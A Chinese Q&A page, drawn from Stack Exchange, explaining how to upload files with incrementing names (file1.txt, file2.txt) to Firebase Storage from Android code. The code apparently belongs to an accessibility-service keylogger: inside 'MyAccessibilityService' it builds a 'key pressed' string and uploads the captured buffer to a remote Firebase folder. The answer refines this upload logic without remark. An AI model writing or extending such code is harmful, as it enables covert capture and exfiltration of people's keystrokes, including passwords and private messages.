如何修改程序实现按顺序生成文件并上传至Firebase Storage
实现按顺序生成文件并上传至Firebase Storage
要实现每次上传自动生成file1.txt、file2.txt这类递增文件名,核心是持久化记录当前文件序号,避免重启后序号重置。这里用SharedPreferences来存储计数,具体修改如下:
步骤说明
- 每次上传前读取当前的文件序号,默认从1开始
- 生成对应格式的文件名
- 上传完成后更新序号并保存
修改后的代码
// 初始化SharedPreferences,用于持久化存储文件序号 SharedPreferences sp = getSharedPreferences("FileCounter", MODE_PRIVATE); int currentFileCount = sp.getInt("count", 1); // 无记录时默认从1开始 String key_press = "key pressed :" + sb; String fileName = "file" + currentFileCount + ".txt"; // 生成递增文件名 // 上传到Firebase Storage StorageReference reference = FirebaseStorage.getInstance().getReference().child("Dcument"); reference.child(fileName).putBytes(sb.toString().getBytes()) .addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() { @Override public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) { // 上传成功后更新序号并保存 SharedPreferences.Editor editor = sp.edit(); editor.putInt("count", currentFileCount + 1); editor.apply(); // Toast.makeText(MyAccessibilityService.this, "文件上传成功", Toast.LENGTH_SHORT).show(); } }) .addOnFailureListener(new OnFailureListener() { @Override public void onFailure(@NonNull Exception e) { Toast.makeText(MyAccessibilityService.this, e.toString(), Toast.LENGTH_SHORT).show(); } });
注意事项
- 确保
getSharedPreferences的上下文正确,在Service中直接用this即可 - 若需重置序号,清除
SharedPreferences中对应的count键值即可 - 如果是多设备同步场景,可改用Firebase Realtime Database存储全局计数,避免并发上传导致序号重复
内容的提问来源于stack exchange,提问作者user17771492
相关产品推荐
相关产品推荐

